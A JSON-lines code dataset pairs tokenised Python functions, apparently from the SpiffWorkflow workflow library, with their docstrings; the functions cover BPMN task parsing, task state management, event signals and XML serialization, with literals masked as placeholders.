{"signature": "def parse_node(self):", "body": "try:<EOL><INDENT>self.task = self.create_task()<EOL>self.task.documentation = self.parser._parse_documentation(<EOL>self.node, xpath=self.xpath, task_parser=self)<EOL>boundary_event_nodes = self.process_xpath(<EOL>'<STR_LIT>' % self.get_id())<EOL>if boundary_event_nodes:<EOL><INDENT>parent_task = _BoundaryEventParent(<EOL>self.spec, '<STR_LIT>' % self.get_id(),<EOL>self.task, lane=self.task.lane)<EOL>self.process_parser.parsed_nodes[<EOL>self.node.get('<STR_LIT:id>')] = parent_task<EOL>parent_task.connect_outgoing(<EOL>self.task, '<STR_LIT>' % self.get_id(),<EOL>None, None)<EOL>for boundary_event in boundary_event_nodes:<EOL><INDENT>b = self.process_parser.parse_node(boundary_event)<EOL>parent_task.connect_outgoing(<EOL>b,<EOL>'<STR_LIT>' % boundary_event.get(<EOL>'<STR_LIT:id>'),<EOL>None, None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.process_parser.parsed_nodes[<EOL>self.node.get('<STR_LIT:id>')] = self.task<EOL><DEDENT>children = []<EOL>outgoing = self.process_xpath(<EOL>'<STR_LIT>' % self.get_id())<EOL>if len(outgoing) > <NUM_LIT:1> and not self.handles_multiple_outgoing():<EOL><INDENT>raise ValidationException(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>node=self.node,<EOL>filename=self.process_parser.filename)<EOL><DEDENT>for sequence_flow in outgoing:<EOL><INDENT>target_ref = sequence_flow.get('<STR_LIT>')<EOL>target_node = one(<EOL>self.process_xpath('<STR_LIT>' % target_ref))<EOL>c = self.process_parser.parse_node(target_node)<EOL>children.append((c, target_node, sequence_flow))<EOL><DEDENT>if children:<EOL><INDENT>default_outgoing = self.node.get('<STR_LIT:default>')<EOL>if not default_outgoing:<EOL><INDENT>(c, target_node, sequence_flow) = children[<NUM_LIT:0>]<EOL>default_outgoing = sequence_flow.get('<STR_LIT:id>')<EOL><DEDENT>for (c, target_node, sequence_flow) in children:<EOL><INDENT>self.connect_outgoing(<EOL>c, target_node, sequence_flow,<EOL>sequence_flow.get('<STR_LIT:id>') == default_outgoing)<EOL><DEDENT><DEDENT>return parent_task if boundary_event_nodes else self.task<EOL><DEDENT>except ValidationException:<EOL><INDENT>raise<EOL><DEDENT>except Exception as ex:<EOL><INDENT>exc_info = sys.exc_info()<EOL>tb = \"<STR_LIT>\".join(traceback.format_exception(<EOL>exc_info[<NUM_LIT:0>], exc_info[<NUM_LIT:1>], exc_info[<NUM_LIT:2>]))<EOL>LOG.error(\"<STR_LIT>\", ex, tb)<EOL>raise ValidationException(<EOL>\"<STR_LIT>\" % (ex), node=self.node,<EOL>filename=self.process_parser.filename)<EOL><DEDENT>", "docstring": "Parse this node, and all children, returning the connected task spec.", "id": "f7732:c0:m1"}
{"signature": "def get_lane(self):", "body": "return self.process_parser.get_lane(self.get_id())<EOL>", "docstring": "Return the name of the lane that contains this task", "id": "f7732:c0:m2"}
{"signature": "def get_task_spec_name(self, target_ref=None):", "body": "return target_ref or self.get_id()<EOL>", "docstring": "Returns a unique task spec name for this task (or the targeted one)", "id": "f7732:c0:m3"}
{"signature": "def get_id(self):", "body": "return self.node.get('<STR_LIT:id>')<EOL>", "docstring": "Return the node ID", "id": "f7732:c0:m4"}
{"signature": "def create_task(self):", "body": "return self.spec_class(self.spec, self.get_task_spec_name(),<EOL>lane=self.get_lane(),<EOL>description=self.node.get('<STR_LIT:name>', None))<EOL>", "docstring": "Create an instance of the task appropriately. A subclass can override\nthis method to get extra information from the node.", "id": "f7732:c0:m5"}
{"signature": "def connect_outgoing(self, outgoing_task, outgoing_task_node,<EOL>sequence_flow_node, is_default):", "body": "self.task.connect_outgoing(<EOL>outgoing_task, sequence_flow_node.get('<STR_LIT:id>'),<EOL>sequence_flow_node.get(<EOL>'<STR_LIT:name>', None),<EOL>self.parser._parse_documentation(sequence_flow_node,<EOL>task_parser=self))<EOL>", "docstring": "Connects this task to the indicating outgoing task, with the details in\nthe sequence flow. A subclass can override this method to get extra\ninformation from the node.", "id": "f7732:c0:m6"}
{"signature": "def handles_multiple_outgoing(self):", "body": "return False<EOL>", "docstring": "A subclass should override this method if the task supports multiple\noutgoing sequence flows.", "id": "f7732:c0:m7"}
{"signature": "def __init__(self, workflow, task_spec, parent=None, state=MAYBE):", "body": "assert workflow is not None<EOL>assert task_spec is not None<EOL>self.workflow = workflow<EOL>self.parent = parent<EOL>self.children = []<EOL>self._state = state<EOL>self.triggered = False<EOL>self.state_history = [state]<EOL>self.log = []<EOL>self.task_spec = task_spec<EOL>self.id = uuid4()<EOL>self.thread_id = self.__class__.thread_id_pool<EOL>self.last_state_change = time.time()<EOL>self.data = {}<EOL>self.internal_data = {}<EOL>if parent is not None:<EOL><INDENT>self.parent._child_added_notify(self)<EOL><DEDENT>", "docstring": "Constructor.", "id": "f7734:c0:m0"}
{"signature": "def _setstate(self, value, force=False):", "body": "if self._state == value:<EOL><INDENT>return<EOL><DEDENT>if value < self._state and not force:<EOL><INDENT>raise WorkflowException(self.task_spec,<EOL>'<STR_LIT>' % (<EOL>self.get_state_name(),<EOL>self.state_names[value]))<EOL><DEDENT>if __debug__:<EOL><INDENT>old = self.get_state_name()<EOL><DEDENT>self._state = value<EOL>if __debug__:<EOL><INDENT>self.log.append(\"<STR_LIT>\" % (<EOL>self.get_name(),<EOL>old, self.get_state_name()))<EOL><DEDENT>self.state_history.append(value)<EOL>LOG.debug(\"<STR_LIT>\" % (<EOL>self.get_name(),<EOL>self.task_spec.name, old, self.get_state_name()))<EOL>", "docstring": "Setting force to True allows for changing a state after it\nCOMPLETED. This would otherwise be invalid.", "id": "f7734:c0:m3"}
{"signature": "def _get_root(self):", "body": "if self.parent is None:<EOL><INDENT>return self<EOL><DEDENT>return self.parent._get_root()<EOL>", "docstring": "Returns the top level parent.", "id": "f7734:c0:m7"}
{"signature": "def _child_added_notify(self, child):", "body": "assert child is not None<EOL>self.children.append(child)<EOL>", "docstring": "Called by another Task to let us know that a child was added.", "id": "f7734:c0:m9"}
{"signature": "def _set_state(self, state, force=True):", "body": "self._setstate(state, True)<EOL>self.last_state_change = time.time()<EOL>", "docstring": "Setting force to True allows for changing a state after it\nCOMPLETED. This would otherwise be invalid.", "id": "f7734:c0:m11"}
{"signature": "def _has_state(self, state):", "body": "return (self.state & state) != <NUM_LIT:0><EOL>", "docstring": "Returns True if the Task has the given state flag set.", "id": "f7734:c0:m12"}
{"signature": "def _add_child(self, task_spec, state=MAYBE):", "body": "if task_spec is None:<EOL><INDENT>raise ValueError(self, '<STR_LIT>')<EOL><DEDENT>if self._is_predicted() and state & self.PREDICTED_MASK == <NUM_LIT:0>:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise WorkflowException(self.task_spec, msg)<EOL><DEDENT>task = Task(self.workflow, task_spec, self, state=state)<EOL>task.thread_id = self.thread_id<EOL>if state == self.READY:<EOL><INDENT>task._ready()<EOL><DEDENT>return task<EOL>", "docstring": "Adds a new child and assigns the given TaskSpec to it.\n\n:type  task_spec: TaskSpec\n:param task_spec: The task spec that is assigned to the new child.\n:type  state: integer\n:param state: The bitmask of states for the new child.\n:rtype:  Task\n:returns: The new child task.", "id": "f7734:c0:m16"}
{"signature": "def _assign_new_thread_id(self, recursive=True):", "body": "self.__class__.thread_id_pool += <NUM_LIT:1><EOL>self.thread_id = self.__class__.thread_id_pool<EOL>if not recursive:<EOL><INDENT>return self.thread_id<EOL><DEDENT>for child in self:<EOL><INDENT>child.thread_id = self.thread_id<EOL><DEDENT>return self.thread_id<EOL>", "docstring": "Assigns a new thread id to the task.\n\n:type  recursive: bool\n:param recursive: Whether to assign the id to children recursively.\n:rtype:  bool\n:returns: The new thread id.", "id": "f7734:c0:m17"}
{"signature": "def _sync_children(self, task_specs, state=MAYBE):", "body": "LOG.debug(\"<STR_LIT>\" % self.get_name())<EOL>if task_specs is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>add = task_specs[:]<EOL>remove = []<EOL>for child in self.children:<EOL><INDENT>if child.triggered:<EOL><INDENT>continue<EOL><DEDENT>if child.task_spec in add:<EOL><INDENT>add.remove(child.task_spec)<EOL>continue<EOL><DEDENT>if child._is_definite():<EOL><INDENT>raise WorkflowException(self.task_spec,<EOL>'<STR_LIT>' %<EOL>repr(child))<EOL><DEDENT>remove.append(child)<EOL><DEDENT>for child in remove:<EOL><INDENT>self.children.remove(child)<EOL><DEDENT>for task_spec in add:<EOL><INDENT>self._add_child(task_spec, state)<EOL><DEDENT>", "docstring": "This method syncs up the task's children with the given list of task\nspecs. In other words::\n\n    - Add one child for each given TaskSpec, unless that child already\n      exists.\n    - Remove all children for which there is no spec in the given list,\n      unless it is a \"triggered\" task.\n\n.. note::\n\n   It is an error if the task has a non-predicted child that is\n   not given in the TaskSpecs.\n\n:type  task_specs: list(TaskSpec)\n:param task_specs: The list of task specs that may become children.\n:type  state: integer\n:param state: The bitmask of states for the new children.", "id": "f7734:c0:m18"}
{"signature": "def _is_descendant_of(self, parent):", "body": "if self.parent is None:<EOL><INDENT>return False<EOL><DEDENT>if self.parent == parent:<EOL><INDENT>return True<EOL><DEDENT>return self.parent._is_descendant_of(parent)<EOL>", "docstring": "Returns True if parent is in the list of ancestors, returns False\notherwise.\n\n:type  parent: Task\n:param parent: The parent that is searched in the ancestors.\n:rtype:  bool\n:returns: Whether the parent was found.", "id": "f7734:c0:m20"}
{"signature": "def _find_child_of(self, parent_task_spec):", "body": "if self.parent is None:<EOL><INDENT>return self<EOL><DEDENT>if self.parent.task_spec == parent_task_spec:<EOL><INDENT>return self<EOL><DEDENT>return self.parent._find_child_of(parent_task_spec)<EOL>", "docstring": "Returns the ancestor that has a task with the given task spec\nas a parent.\nIf no such ancestor was found, the root task is returned.\n\n:type  parent_task_spec: TaskSpec\n:param parent_task_spec: The wanted ancestor.\n:rtype:  Task\n:returns: The child of the given ancestor.", "id": "f7734:c0:m21"}
{"signature": "def _find_any(self, task_spec):", "body": "tasks = []<EOL>if self.task_spec == task_spec:<EOL><INDENT>tasks.append(self)<EOL><DEDENT>for child in self:<EOL><INDENT>if child.task_spec != task_spec:<EOL><INDENT>continue<EOL><DEDENT>tasks.append(child)<EOL><DEDENT>return tasks<EOL>", "docstring": "Returns any descendants that have the given task spec assigned.\n\n:type  task_spec: TaskSpec\n:param task_spec: The wanted task spec.\n:rtype:  list(Task)\n:returns: The tasks objects that are attached to the given task spec.", "id": "f7734:c0:m22"}
{"signature": "def _find_ancestor(self, task_spec):", "body": "if self.parent is None:<EOL><INDENT>return self<EOL><DEDENT>if self.parent.task_spec == task_spec:<EOL><INDENT>return self.parent<EOL><DEDENT>return self.parent._find_ancestor(task_spec)<EOL>", "docstring": "Returns the ancestor that has the given task spec assigned.\nIf no such ancestor was found, the root task is returned.\n\n:type  task_spec: TaskSpec\n:param task_spec: The wanted task spec.\n:rtype:  Task\n:returns: The ancestor.", "id": "f7734:c0:m23"}
{"signature": "def _find_ancestor_from_name(self, name):", "body": "if self.parent is None:<EOL><INDENT>return None<EOL><DEDENT>if self.parent.get_name() == name:<EOL><INDENT>return self.parent<EOL><DEDENT>return self.parent._find_ancestor_from_name(name)<EOL>", "docstring": "Returns the ancestor that has a task with the given name assigned.\nReturns None if no such ancestor was found.\n\n:type  name: str\n:param name: The name of the wanted task.\n:rtype:  Task\n:returns: The ancestor.", "id": "f7734:c0:m24"}
{"signature": "def _ready(self):", "body": "if self._has_state(self.COMPLETED) or self._has_state(self.CANCELLED):<EOL><INDENT>return<EOL><DEDENT>self._set_state(self.READY)<EOL>self.task_spec._on_ready(self)<EOL>", "docstring": "Marks the task as ready for execution.", "id": "f7734:c0:m25"}
{"signature": "def get_state(self):", "body": "return self.state<EOL>", "docstring": "Returns this Task's state.", "id": "f7734:c0:m28"}
{"signature": "def get_state_name(self):", "body": "state_name = []<EOL>for state, name in list(self.state_names.items()):<EOL><INDENT>if self._has_state(state):<EOL><INDENT>state_name.append(name)<EOL><DEDENT><DEDENT>return '<STR_LIT:|>'.join(state_name)<EOL>", "docstring": "Returns a textual representation of this Task's state.", "id": "f7734:c0:m29"}
{"signature": "def get_spec_data(self, name=None, default=None):", "body": "return self.task_spec.get_data(name, default)<EOL>", "docstring": "Returns the value of the spec data with the given name, or the given\ndefault value if the spec data does not exist.\n\n:type  name: str\n:param name: The name of the spec data field.\n:type  default: obj\n:param default: Return this value if the spec data does not exist.\n:rtype:  obj\n:returns: The value of the spec data.", "id": "f7734:c0:m30"}
{"signature": "def _set_internal_data(self, **kwargs):", "body": "self.internal_data.update(kwargs)<EOL>", "docstring": "Defines the given attribute/value pairs.", "id": "f7734:c0:m31"}
{"signature": "def set_data(self, **kwargs):", "body": "self.data.update(kwargs)<EOL>", "docstring": "Defines the given attribute/value pairs.", "id": "f7734:c0:m33"}
{"signature": "def _inherit_data(self):", "body": "LOG.debug(\"<STR_LIT>\" % (self.get_name(),<EOL>self.parent.get_name()),<EOL>extra=dict(data=self.parent.data))<EOL>self.set_data(**self.parent.data)<EOL>", "docstring": "Inherits the data from the parent.", "id": "f7734:c0:m34"}
{"signature": "def get_data(self, name, default=None):", "body": "return self.data.get(name, default)<EOL>", "docstring": "Returns the value of the data field with the given name, or the given\ndefault value if the data field does not exist.\n\n:type  name: str\n:param name: A data field name.\n:type  default: obj\n:param default: Return this value if the data field does not exist.\n:rtype:  obj\n:returns: The value of the data field", "id": "f7734:c0:m35"}
{"signature": "def cancel(self):", "body": "if self._is_finished():<EOL><INDENT>for child in self.children:<EOL><INDENT>child.cancel()<EOL><DEDENT>return<EOL><DEDENT>self._set_state(self.CANCELLED)<EOL>self._drop_children()<EOL>self.task_spec._on_cancel(self)<EOL>", "docstring": "Cancels the item if it was not yet completed, and removes\nany children that are LIKELY.", "id": "f7734:c0:m36"}
{"signature": "def complete(self):", "body": "self._set_state(self.COMPLETED)<EOL>return self.task_spec._on_complete(self)<EOL>", "docstring": "Called by the associated task to let us know that its state\nhas changed (e.g. from FUTURE to COMPLETED.)", "id": "f7734:c0:m37"}
{"signature": "def trigger(self, *args):", "body": "self.task_spec._on_trigger(self, *args)<EOL>", "docstring": "If recursive is True, the state is applied to the tree recursively.", "id": "f7734:c0:m38"}
{"signature": "def get_dump(self, indent=<NUM_LIT:0>, recursive=True):", "body": "dbg = ('<STR_LIT:U+0020>' * indent * <NUM_LIT:2>)<EOL>dbg += '<STR_LIT>' % self.id<EOL>dbg += '<STR_LIT>' % self.thread_id<EOL>dbg += '<STR_LIT>' % self.get_name()<EOL>if self.task_spec.description:<EOL><INDENT>dbg += '<STR_LIT>' % self.get_description()<EOL><DEDENT>dbg += '<STR_LIT>' % self.get_state_name()<EOL>dbg += '<STR_LIT>' % len(self.children)<EOL>if recursive:<EOL><INDENT>for child in self.children:<EOL><INDENT>dbg += '<STR_LIT:\\n>' + child.get_dump(indent + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>return dbg<EOL>", "docstring": "Returns the subtree as a string for debugging.\n\n:rtype:  str\n:returns: The debug information.", "id": "f7734:c0:m39"}
{"signature": "def dump(self, indent=<NUM_LIT:0>):", "body": "print(self.get_dump())<EOL>", "docstring": "Prints the subtree as a string for debugging.", "id": "f7734:c0:m40"}
{"signature": "def serialize(self, serializer):", "body": "return serializer.serialize_attrib(self)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, s_state):<DEDENT>", "body": "return serializer.deserialize_attrib(s_state)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c1:m2"}
{"signature": "def serialize(self, serializer):", "body": "return serializer.serialize_pathattrib(self)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c2:m1"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, s_state):<DEDENT>", "body": "return serializer.deserialize_pathattrib(s_state)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c2:m2"}
{"signature": "def __init__(self,<EOL>left_attribute,<EOL>right_attribute=None,<EOL>right=None,<EOL>**kwargs):", "body": "if not right_attribute and not right:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>assert left_attribute is not None<EOL>self.left_attribute = left_attribute<EOL>self.right_attribute = right_attribute<EOL>self.right = right<EOL>", "docstring": "Constructor.\n\n:type  left_attribute: str\n:param left_attribute: The name of the attribute to which the value\n                       is assigned.\n:type  right: object\n:param right: A static value that, when given, is assigned to\n              left_attribute.\n:type  right_attribute: str\n:param right_attribute: When given, the attribute with the given\n                        name is used as the source (instead of the\n                        static value).\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7735:c3:m0"}
{"signature": "def serialize(self, serializer):", "body": "return serializer.serialize_assign(self)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c3:m2"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, s_state):<DEDENT>", "body": "return serializer.deserialize_assign(s_state)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c3:m3"}
{"signature": "def __init__(self, *args):", "body": "if len(args) == <NUM_LIT:0>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.args = args<EOL>", "docstring": "Constructor.", "id": "f7735:c4:m0"}
{"signature": "def serialize(self, serializer):", "body": "return serializer.serialize_operator(self)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c4:m3"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, s_state):<DEDENT>", "body": "return serializer.deserialize_operator(s_state)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:rtype:  object\n:returns: The serialized object.", "id": "f7735:c4:m4"}
{"signature": "def __init__(self, left, right):", "body": "Operator.__init__(self, left, right)<EOL>", "docstring": "Constructor.", "id": "f7735:c7:m0"}
{"signature": "def __init__(self, left, right):", "body": "Operator.__init__(self, left, right)<EOL>", "docstring": "Constructor.", "id": "f7735:c8:m0"}
{"signature": "def __init__(self, regex, *args):", "body": "Operator.__init__(self, *args)<EOL>self.regex = re.compile(regex)<EOL>", "docstring": "Constructor.", "id": "f7735:c9:m0"}
{"signature": "def merge_dictionary(dst, src):", "body": "stack = [(dst, src)]<EOL>while stack:<EOL><INDENT>current_dst, current_src = stack.pop()<EOL>for key in current_src:<EOL><INDENT>source = current_src[key]<EOL>if key not in current_dst:<EOL><INDENT>current_dst[key] = source<EOL><DEDENT>else:<EOL><INDENT>dest = current_dst[key]<EOL>if isinstance(source, dict) and isinstance(dest, dict):<EOL><INDENT>stack.append((dest, source))<EOL><DEDENT>elif isinstance(source, list) and isinstance(dest, list):<EOL><INDENT>r = dest[:]<EOL>s = source[:]<EOL>if len(dest) > len(source):<EOL><INDENT>s.append([None for i in range(len(dest) -<EOL>len(source))])<EOL><DEDENT>elif len(dest) < len(source):<EOL><INDENT>r.append([None for i in range(len(source) -<EOL>len(dest))])<EOL><DEDENT>for index, value in enumerate(r):<EOL><INDENT>if (not value) and s[index]:<EOL><INDENT>r[index] = s[index]<EOL><DEDENT>elif isinstance(value, dict) andisinstance(s[index], dict):<EOL><INDENT>stack.append((dest[index], source[index]))<EOL><DEDENT>else:<EOL><INDENT>dest[index] = s[index]<EOL><DEDENT><DEDENT>current_dst[key] = r<EOL><DEDENT>else:<EOL><INDENT>current_dst[key] = source<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return dst<EOL>", "docstring": "Recursive merge two dicts (vs .update which overwrites the hashes at the\n    root level)\n\n    Note: This updates dst.\n    Copied from checkmate.utils", "id": "f7738:m0"}
{"signature": "def ref(function, callback=None):", "body": "try:<EOL><INDENT>function.__func__<EOL><DEDENT>except AttributeError:<EOL><INDENT>return _WeakMethodFree(function, callback)<EOL><DEDENT>return _WeakMethodBound(function, callback)<EOL>", "docstring": "Returns a weak reference to the given method or function.\nIf the callback argument is not None, it is called as soon\nas the referenced function is garbage deleted.\n\n:type  function: callable\n:param function: The function to reference.\n:type  callback: callable\n:param callback: Called when the function dies.", "id": "f7739:m0"}
{"signature": "def __init__(self, name, callback):", "body": "self.name = name<EOL>self.callback = callback<EOL>", "docstring": "Constructor. Do not use directly, use :class:`ref()` instead.", "id": "f7739:c1:m0"}
{"signature": "def get_function(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the referenced method/function if it is still alive.\nReturns None otherwise.\n\n:rtype:  callable|None\n:returns: The referenced function if it is still alive.", "id": "f7739:c1:m2"}
{"signature": "def isalive(self):", "body": "return self.get_function() is not None<EOL>", "docstring": "Returns True if the referenced function is still alive, False\notherwise.\n\n:rtype:  bool\n:returns: Whether the referenced function is still alive.", "id": "f7739:c1:m3"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "method = self.get_function()<EOL>if method is None:<EOL><INDENT>raise DeadMethodCalled('<STR_LIT>' + self.name)<EOL><DEDENT>method(*args, **kwargs)<EOL>", "docstring": "Proxied to the underlying function or method. Raises\n:class:`DeadMethodCalled` if the referenced function is dead.\n\n:rtype:  object :returns: Whatever the referenced function returned.", "id": "f7739:c1:m4"}
{"signature": "def __init__(self):", "body": "<EOL>self.lock = None<EOL>self.weak_subscribers = None<EOL>self.hard_subscribers = None<EOL>", "docstring": "Constructor.", "id": "f7740:c0:m0"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "return self.emit(*args, **kwargs)<EOL>", "docstring": "Like emit().", "id": "f7740:c0:m1"}
{"signature": "def connect(self, callback, *args, **kwargs):", "body": "if self.is_connected(callback):<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>if self.hard_subscribers is None:<EOL><INDENT>self.hard_subscribers = []<EOL><DEDENT>self.hard_subscribers.append((callback, args, kwargs))<EOL>", "docstring": "Connects the event with the given callback.\nWhen the signal is emitted, the callback is invoked.\n\n.. note::\n\n    The signal handler is stored with a hard reference, so you\n    need to make sure to call :class:`disconnect()` if you want the\n    handler\n    to be garbage collected.\n\n:type  callback: object\n:param callback: The callback function.\n:type  args: tuple\n:param args: Optional arguments passed to the callback.\n:type  kwargs: dict\n:param kwargs: Optional keyword arguments passed to the callback.", "id": "f7740:c0:m2"}
{"signature": "def listen(self, callback, *args, **kwargs):", "body": "if self.lock is None:<EOL><INDENT>self.lock = Lock()<EOL><DEDENT>with self.lock:<EOL><INDENT>if self.is_connected(callback):<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>if self.weak_subscribers is None:<EOL><INDENT>self.weak_subscribers = []<EOL><DEDENT>ref = weakmethod.ref(callback, self._try_disconnect)<EOL>self.weak_subscribers.append((ref, args, kwargs))<EOL><DEDENT>return ref<EOL>", "docstring": "Like :class:`connect()`, but uses a weak reference instead of a\nnormal reference.\nThe signal is automatically disconnected as soon as the handler\nis garbage collected.\n\n.. note::\n\n    Storing signal handlers as weak references means that if\n    your handler is a local function, it may be garbage collected. To\n    prevent this, use :class:`connect()` instead.\n\n:type  callback: object\n:param callback: The callback function.\n:type  args: tuple\n:param args: Optional arguments passed to the callback.\n:type  kwargs: dict\n:param kwargs: Optional keyword arguments passed to the callback.\n:rtype:  :class:`Exscript.util.weakmethod.WeakMethod`\n:returns: The newly created weak reference to the callback.", "id": "f7740:c0:m3"}
{"signature": "def n_subscribers(self):", "body": "hard = self.hard_subscribers and len(self.hard_subscribers) or <NUM_LIT:0><EOL>weak = self.weak_subscribers and len(self.weak_subscribers) or <NUM_LIT:0><EOL>return hard + weak<EOL>", "docstring": "Returns the number of connected subscribers.\n\n:rtype:  int\n:returns: The number of subscribers.", "id": "f7740:c0:m4"}
{"signature": "def is_connected(self, callback):", "body": "index = self._weakly_connected_index(callback)<EOL>if index is not None:<EOL><INDENT>return True<EOL><DEDENT>if self.hard_subscribers is None:<EOL><INDENT>return False<EOL><DEDENT>return callback in self._hard_callbacks()<EOL>", "docstring": "Returns True if the event is connected to the given function.\n\n:type  callback: object\n:param callback: The callback function.\n:rtype:  bool\n:returns: Whether the signal is connected to the given function.", "id": "f7740:c0:m7"}
{"signature": "def emit(self, *args, **kwargs):", "body": "if self.hard_subscribers is not None:<EOL><INDENT>for callback, user_args, user_kwargs in self.hard_subscribers:<EOL><INDENT>kwargs.update(user_kwargs)<EOL>result = callback(*args + user_args, **kwargs)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT><DEDENT><DEDENT>if self.weak_subscribers is not None:<EOL><INDENT>for callback, user_args, user_kwargs in self.weak_subscribers:<EOL><INDENT>kwargs.update(user_kwargs)<EOL>function = callback.get_function()<EOL>if function is None:<EOL><INDENT>continue<EOL><DEDENT>result = function(*args + user_args, **kwargs)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Emits the signal, passing the given arguments to the callbacks.\nIf one of the callbacks returns a value other than None, no further\ncallbacks are invoked and the return value of the callback is\nreturned to the caller of emit().\n\n:type  args: tuple\n:param args: Optional arguments passed to the callbacks.\n:type  kwargs: dict\n:param kwargs: Optional keyword arguments passed to the callbacks.\n:rtype:  object\n:returns: Returns None if all callbacks returned None. Returns\n         the return value of the last invoked callback otherwise.", "id": "f7740:c0:m8"}
{"signature": "def _try_disconnect(self, ref):", "body": "with self.lock:<EOL><INDENT>weak = [s[<NUM_LIT:0>] for s in self.weak_subscribers]<EOL>try:<EOL><INDENT>index = weak.index(ref)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>self.weak_subscribers.pop(index)<EOL><DEDENT><DEDENT>", "docstring": "Called by the weak reference when its target dies.\nIn other words, we can assert that self.weak_subscribers is not\nNone at this time.", "id": "f7740:c0:m9"}
{"signature": "def disconnect(self, callback):", "body": "if self.weak_subscribers is not None:<EOL><INDENT>with self.lock:<EOL><INDENT>index = self._weakly_connected_index(callback)<EOL>if index is not None:<EOL><INDENT>self.weak_subscribers.pop(index)[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>if self.hard_subscribers is not None:<EOL><INDENT>try:<EOL><INDENT>index = self._hard_callbacks().index(callback)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>self.hard_subscribers.pop(index)<EOL><DEDENT><DEDENT>", "docstring": "Disconnects the signal from the given function.\n\n:type  callback: object\n:param callback: The callback function.", "id": "f7740:c0:m10"}
{"signature": "def disconnect_all(self):", "body": "self.hard_subscribers = None<EOL>self.weak_subscribers = None<EOL>", "docstring": "Disconnects all connected functions from all signals.", "id": "f7740:c0:m11"}
{"signature": "def serialize_attrib(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>elem.text = op.name<EOL>return elem<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.Attrib`.\n\nExample::\n\n    <attribute>foobar</attribute>", "id": "f7744:c0:m0"}
{"signature": "def serialize_pathattrib(self, op):", "body": "elem = etree.Element('<STR_LIT:path>')<EOL>elem.text = op.path<EOL>return elem<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.PathAttrib`.\n\nExample::\n\n    <path>foobar</path>", "id": "f7744:c0:m2"}
{"signature": "def serialize_assign(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>self.serialize_value(SubElement(elem, '<STR_LIT:name>'), op.left_attribute)<EOL>if op.right:<EOL><INDENT>self.serialize_value(SubElement(elem, '<STR_LIT:value>'), op.right)<EOL><DEDENT>if op.right_attribute:<EOL><INDENT>self.serialize_value(<EOL>SubElement(elem, '<STR_LIT>'), op.right_attribute)<EOL><DEDENT>return elem<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.Assign`.\n\nExample::\n\n    <assign>\n        <name>foobar</name>\n        <value>doodle</value>\n    </assign>", "id": "f7744:c0:m4"}
{"signature": "def serialize_value(self, parent_elem, value):", "body": "if isinstance(value, (str, int)) or type(value).__name__ == '<STR_LIT:str>':<EOL><INDENT>parent_elem.text = str(value)<EOL><DEDENT>elif value is None:<EOL><INDENT>parent_elem.text = None<EOL><DEDENT>else:<EOL><INDENT>parent_elem.append(value.serialize(self))<EOL><DEDENT>", "docstring": "Serializes str, Attrib, or PathAttrib objects.\n\nExample::\n\n    <attribute>foobar</attribute>", "id": "f7744:c0:m6"}
